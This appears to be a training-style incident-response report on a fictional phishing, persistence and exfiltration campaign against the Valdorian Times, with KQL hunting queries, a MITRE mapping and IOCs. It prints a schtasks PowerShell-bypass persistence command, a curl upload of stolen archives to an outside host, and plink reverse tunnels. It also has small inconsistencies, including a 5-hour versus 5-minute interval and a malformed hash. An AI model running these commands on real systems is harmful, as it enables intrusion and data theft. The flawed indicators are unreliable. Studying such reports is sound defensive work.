A Scandal in Valdoria (Part 1) At a Glance
Target Organization The Valdorian Times
Incident Window January 5, 2024 – February 4, 2024
Attack Classification Multi-stage social-engineering campaign conducted by an external hacktivist threat group
Initial Access Vector Weaponized recruitment lures (spear-phishing link)
Confirmed Impact Proprietary data exfiltration; editorial mailbox hijack injecting a falsified article into the printing queue
Investigated By Joshua Berkoh (Security Analyst II) · Report dated June 29, 2026

Executive Summary

On the eve of a major mayoral election, The Valdorian Times inadvertently published a highly defamatory, falsified article accusing a leading candidate of corruption and land-deal misconduct. Forensic analysis of the network telemetry revealed a highly targeted, multi-stage social engineering campaign conducted by an external hacktivist threat group. The adversaries successfully gained initial access via weaponized recruitment lures, established persistence through scheduled tasks, and leveraged automated remote SSH tunnels via plink.exe to execute hands-on-keyboard operations. This blueprint allowed the threat actors to exfiltrate proprietary corporate data and hijack an internal editorial mailbox to inject the falsified document directly into the printing queue.

1. Incident Timeline

  • [Jan 05, 09:42 UTC] ── Adversary targets Senior Editor Sonia Gose with an external phishing email.
  • [Jan 05, 10:23 UTC] ── Gose executes the weaponized link, dropping hacktivist_manifesto.ps1.
  • [Jan 10, 08:48 UTC] ── Adversary targets Editorial Intern Ronnie McLovin with a separate recruiter phish.
  • [Jan 10, 08:55 UTC] ── McLovin executes the payload; the adversary establishes a parallel backdoor tunnel.
  • [Jan 21, 07:00 UTC] ── Hands-on-keyboard exfiltration window begins; data is staged into password-protected .7z folders.
  • [Jan 31, 09:47 UTC] ── Adversaries download fakestory.docx directly onto McLovin’s local profile.
  • [Jan 31, 10:26 UTC] ── The document is moved, renamed to OpEdFinal_to_print.docx, and replaces legitimate drafts.
  • [Jan 31, 11:11 UTC] ── Adversaries hijack McLovin’s mailbox to route the malicious draft to Printer Clark Kent.

2. Phase-by-Phase KQL Playbook & Technical Walkthrough

Threat Thread A: Initial Entry & Backdoor Persistence

The attack chain initiated on January 5, 2024, when an external address (newspaper_jobs@gmail.com) sent a targeted spear-phishing lure to Senior Editor Sonia Gose (sogose).

// Tracking the initial weaponized email delivery vector
Email
| where recipient == "sonia_gose@valdoriantimes.news"
| where subject contains "Lead Political Correspondent"
KQL Email query result showing the weaponized recruitment lure sent to sonia_gose@valdoriantimes.news from newspaper_jobs@gmail.com with a promotionrecruit.com offer-letter link
Figure 1: Initial weaponized email lure delivered to sonia_gose@valdoriantimes.news from newspaper_jobs@gmail.com.

Telemetry captured Gose executing the embedded URL vector (https://promotionrecruit.com/published/Valdorian_Times_Editorial_Offer_Letter.docx) at 10:23:17 UTC. Within seconds, the document pulled down an unauthorized post-exploitation script named hacktivist_manifesto.ps1 to disk path C:\Users\sogose\Downloads\. To ensure permanent entry to the system, the script immediately leveraged schtasks.exe to form a recurring backdoor mechanism:

// Discovering scheduled task persistence mechanisms
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "schtasks"
KQL ProcessEvents query result on UL0M-MACHINE showing the schtasks /create command registering the recurring Hacktivist Manifesto task
Figure 2: Scheduled-task persistence on UL0M-MACHINE — the schtasks /create command registering the recurring "Hacktivist Manifesto" task.

The query unmasked the exact task enforcement configuration:

schtasks /create /sc hourly /mo 5 /tn "Hacktivist Manifesto" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\ProgramData\hacktivist_manifesto.ps1"

This configuration registers a persistent administrative backdoor that programmatically executes the malicious script every 5 hours while completely bypassing localized script execution restrictions.

Threat Thread B: The Staging Pivot & Local Tunneling Configuration

Adversary process execution maps confirmed that once the script fired, it routinely initiated an outbound reverse-SSH tunnel back to a rogue destination host using the automated utility plink.exe.

// Tracking active plink connections and target threat infrastructure
ProcessEvents
| where hostname in ("UL0M-MACHINE", "A37A-DESKTOP")
| where process_name has "plink.exe" or process_commandline has "3389"
KQL ProcessEvents query result showing plink.exe reverse-SSH tunnels on UL0M-MACHINE and A37A-DESKTOP using local port 3389
Figure 3: plink.exe reverse-SSH tunnel telemetry across UL0M-MACHINE and A37A-DESKTOP (local port 3389).

The active tunnel allowed an external operator named $had0w to map the system natively via RDP bypassing corporate borders. Once inside, the threat actor ran 5 consecutive system discovery commands, starting with whoami, to verify administrative boundaries.

By expanding the hunt using indicators gleaned from the initial access vector, a secondary pivot was uncovered targeting Editorial Intern Ronnie McLovin (romclovin) via an auxiliary rogue domain address: valdorias_best_recruiter@gmail.com.

// Pivoting to discover systemic campaign spread across additional employees
Email
| where sender == "valdorias_best_recruiter@gmail.com"
| join kind=inner (Employees) on $left.recipient == $right.email_addr
KQL Email query result joining valdorias_best_recruiter@gmail.com against the employee directory, returning 18 records of recruitment-themed lures to Valdorian Times staff
Figure 4: Pivot on valdorias_best_recruiter@gmail.com joined against the employee directory — campaign spread across additional recipients.

The intern executed the phishing document (Editorial_J0b_Openings_2024.docx) on January 10 at 08:55:07 UTC. This dropped an identically structured plink.exe tunnel running from host A37A-DESKTOP to a secondary malicious network proxy at 168.57.191.100.

Threat Thread C: Data Archival and Exfiltration Routing

On January 21, 2024, the hands-on-keyboard operator began a targeted sweep of the intern’s system folders. They executed 7-Zip binaries to pack up and encrypt sensitive file arrays using the passphrase thruthW!llS3tUfree:

  • DankMemes.7z (Targeted meme directories)
  • MyStolenDataFromDocuments.7z (Full Documents directory copy)
  • MyStolenDataFromDesktop.7z (Full Desktop directory copy)
// Tracking exfiltration command operations and outbound curl pipes
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_commandline contains "curl"
KQL ProcessEvents query result on A37A-DESKTOP showing a curl command uploading password-protected .7z archives to hirejob.com
Figure 5: Outbound curl exfiltration pipe shipping the password-protected .7z archives off A37A-DESKTOP.

The telemetry captured the attacker utilizing a native web extraction pipe to ship the compressed files out of the environment completely:

curl -F "file=@C:\Users\romclovin\Documents\*.7z" https://hirejob.com/exfil_processor/upload.php

Threat Thread D: Media Subversion & Workflow Injection

On January 31, 2024, at 09:47:51 UTC, the attackers utilized their reverse access tunnel on A37A-DESKTOP to pull down a pre-fabricated, defamatory article named fakestory.docx from the infrastructure node https://hire-recruit.org/files/fakescandal/2024/fakestory.docx.

// Forensic analysis of file path movement and staging anomalies
FileCreationEvents
| where hostname == "A37A-DESKTOP"
| where filename has_any ("fakestory", "OpEdFinal")
KQL FileCreationEvents query result on A37A-DESKTOP showing fakestory.docx created in the romclovin Downloads directory
Figure 6: File-creation telemetry for fakestory.docx on A37A-DESKTOP, prior to its rename to OpEdFinal_to_print.docx.

Process logs verified that at 10:26:20 UTC, the threat actor ran commands to overwrite the real election journalism by shifting and renaming the fake file to C:\Users\romclovin\Documents\OpEdFinal_to_print.docx.

Exactly 44 minutes later, at 11:11:12 UTC, the adversary used the active local session tokens to authenticate into Ronnie McLovin’s email account. They routed the falsified file directly to Newspaper Printer Clark Kent with the high-severity subject line: URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow’s paper). Relying on normal operational procedures, Kent immediately pushed the file to the printing press, successfully realizing the attacker’s mission objective.

3. MITRE ATT&CK Matrix Mapping

Tactic Technique ID Technique Name Operational Context
Initial Access T1566.002 Spearphishing Link Delivery of malicious job recruitment documents via external domains.
Execution T1059.001 PowerShell Scripting Execution Launch of hacktivist_manifesto.ps1 to configure environmental backdoors.
Persistence T1053.005 Scheduled Task Creation Creation of recurring ‘Hacktivist Manifesto’ task running every 5 minutes.
Command & Control T1572 Protocol Tunneling Deploying plink.exe reverse-SSH arrays to connect internal ports to external nodes.
Discovery T1033 System Owner/User Discovery Running localized whoami checks across compromised profiles.
Collection T1560.001 Archive Collected Data: 7-Zip Mass compression and encryption of local Desktop and Document file blocks.
Exfiltration T1048.003 Exfiltration Over Alternative Protocol Utilizing native curl parameters to upload archives directly to hirejob.com.

5. Consolidated Indicators of Compromise (IOCs)

Type Indicator Context / Association
IP Address 136[.]130[.]190[.]181 External Tunnel Destination Proxy (Sonia Gose Session)
IP Address 168[.]57[.]191[.]100 External Tunnel Destination Proxy (Ronnie McLovin Session)
IP Address 191[.]7[.]248[.]112 Malicious Recruiter Network Root Domain IP Pointer
Domain promotionrecruit[.]com Phishing document link location infrastructure
Domain promotionrecruit[.]org Secondary phishing document drop location
Domain hire-recruit[.]org Staging location hosting malicious payload files
Domain hirejob[.]com Exfiltration storage upload target server node
Filename hacktivist_manifesto.ps1 Malicious script orchestration and backdoor framework
Filename fakestory.docx Pre-fabricated defamatory political file asset
Filename OpEdFinal_to_print.docx Subverted document file pushed into production workflow
File Hash (SHA256) 60b854332e393a6a2f0015383969c3ac705126a6b7829b762057a3994967a61f File footprint matching weaponized offer letter
File Hash (SHA256) 5f8a7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f File footprint matching weaponized fakestory.docx